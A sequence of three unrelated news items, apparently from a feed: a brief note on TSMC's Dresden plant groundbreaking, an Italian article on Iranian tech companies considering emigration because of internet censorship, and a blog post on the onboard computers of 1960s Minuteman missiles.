European Commission President Ursula von der Leyen attended the official groundbreaking ceremony for Taiwanese firm TSMC's Dresden plant on Tuesday (20 August) after the institution she heads announced a €5 billion state aid scheme for the facility - a sign that the EU is redoubling its efforts to boost the bloc's domestic semiconductor production.

euractiv.com/section/digital/n…

Una grave crisi si sta preparando nel settore tecnologico iraniano. Secondo i recenti resoconti dei media statali del paese, fino all’80% delle aziende tecnologiche iraniane stanno prendendo in considerazione l’emigrazione. Questa tendenza allarmante illustra chiaramente l’impatto devastante della censura di Internet sulle imprese.

Secondo il capo dell’organizzazione iraniana delle TIC (tecnologie dell’informazione e della comunicazione), le continue restrizioni all’accesso a Internet stanno portando alla fuga di massa. Quella che inizialmente veniva percepita come una crisi individuale, ora colpisce intere aziende e start-up. Ciò rappresenta una seria minaccia per la stabilità economica dello Stato.

I principali social network come Instagram, Twitter, YouTube e Telegram, così come migliaia di altri siti web, sono ufficialmente vietati nel Paese. Tuttavia, nonostante i divieti, queste piattaforme rimangono estremamente popolari tra decine di milioni di utenti iraniani, che trovano vari modi per aggirare i blocchi.

Hessam Assadi, un importante rappresentante dell’industria tecnologica iraniana, propone di eliminare le restrizioni su sei servizi principali: Google Play, WhatsApp, Telegram, Instagram, YouTube e X. Ma quasi nessuno ascolterà il suo consiglio.

L’Iranian ICT Guild Organization sta cercando di rispondere alla situazione attuale. Una delle iniziative chiave è lo sviluppo del “Tariffario dei servizi tecnici specializzati in informatica”. Questo pacchetto ha lo scopo di creare meccanismi finanziari e normativi per sostenere le aziende tecnologiche. Tuttavia, l’efficacia della misura è ancora in dubbio, poiché necessita di un più ampio riconoscimento e sostegno da parte delle agenzie governative.

Un altro serio ostacolo per il business IT era il complesso processo di concessione delle licenze. Particolarmente difficile è ottenere una licenza AFTA (Amn-e Faza-ye Tabadol-e Etelaat, ovvero “Sicurezza dello spazio di scambio delle informazioni”). Questo documento, necessario per lavorare nel settore delle telecomunicazioni, viene rilasciato dalle autorità. Il processo è spesso lungo e richiede il passaggio di numerose procedure burocratiche.

Problemi relativi al cambio valuta, alla registrazione degli ordini e alla catena di approvvigionamento di materie prime e merci hanno interrotto le operazioni delle società di apparecchiature infrastrutturali. Questi fattori hanno ulteriormente esacerbato la crisi migratoria.

Le nuove leggi e le iniziative del governo non sono incoraggianti. Ad esempio, il ministro delle Comunicazioni Sattar Hashemi ha recentemente introdotto un programma che enfatizza lo sviluppo di una rete informativa nazionale. Ciò ha sollevato preoccupazioni tra gli attivisti per la libertà di Internet poiché l’approccio potrebbe portare a un maggiore controllo da parte del governo.

Il programma di Hashemi riflette la politica di internet complessiva del regime iraniano. Mira a stabilire la “sovranità nazionale” nel cyberspazio e a rafforzare il “potere informatico”. Il politico sostiene anche l’idea di chiudere Internet nei periodi di tensione politica.

Mentre l’industria tecnologica iraniana è alle prese con una crisi esistenziale, la necessità di un approccio equilibrato che tenga conto sia delle preoccupazioni economiche che dei diritti digitali dei cittadini sta diventando sempre più urgente. L’emigrazione di massa delle aziende tecnologiche non solo minaccia il futuro economico dell’Iran, ma mette anche in discussione la sostenibilità a lungo termine delle sue attuali politiche su Internet.

L'articolo Muri Digitali: l’80% delle aziende tecnologiche in Iran vuole emigrare a causa della censura di Internet proviene da il blog della sicurezza informatica.

In 1962, unlike today, most things didn’t have computers in them. After all, the typical computer of the day was a fragile room-sized box that required a gaggle of high priests to service it. But the Minuteman I nuclear missile was stuffed full of pre-GPS navigation equipment and a computer. In a few years, by 1970, the Minuteman III could deliver a warhead 13,000 km with an accuracy of 200 meters. Each one cost about a half million dollars, but that’s almost five million in today’s money. [Ken] takes on a very detailed tour of the computers and avionics that were nothing short of a miracle — and a highly classified miracle — in the 1960s.

The inertial navigation relied on a gyroscope, which in those days, were large and expensive. The Minuteman I required alignment with a precise angle relative to the North Star which naturally wasn’t visible from inside the silo. By the time Minuteman II arrived, they’d figured out an easier way to orient the missiles.

The name Minuteman, by the way, came from the weapon’s ability to launch in a minute. The gyros ran, more or less, all the time, and the solid-fuel rocket was always ready to go.
D-37 Computer
What really interested us, though, was the onboard computer. There was a basic model, the D17-B, in the Minuteman I. Later missiles used the D-37 computer. The D-17B was made to fit in a rocket casing and used a serial CPU, presumably to reduce “SWAP” (size, weight, and power). That means the 24-bit CPU was painfully slow, doing, at best, 12,800 additions per second.

The computer had no RAM, but did have a “disk” which was really more like a magnetic drum — common at the time — flattened out. The D-17B was made with discrete transistors — lots of them. The D-37 actually used integrated circuits. There is a picture of a D-17B looking like half of a washing machine tub alongside a D-37, about the size of a serious oscilloscope of those days. Fun fact: the surplus D-17B computers were given away to universities and other organizations for use as a general-purpose microcomputer.

There’s a lot more in the post. Be prepared to spend some time reading and looking at the detailed pictures. While we know nuclear weapons are frightening, we can’t help but admire a radiation-hardened computer built with ICs and able to withstand the shock of a rocket launch built back then.

If you want your own nuclear bunker keyboard, we’ve seen one. If you want to administer a Linux system with virtual counter-rotating keys, that’s possible, too.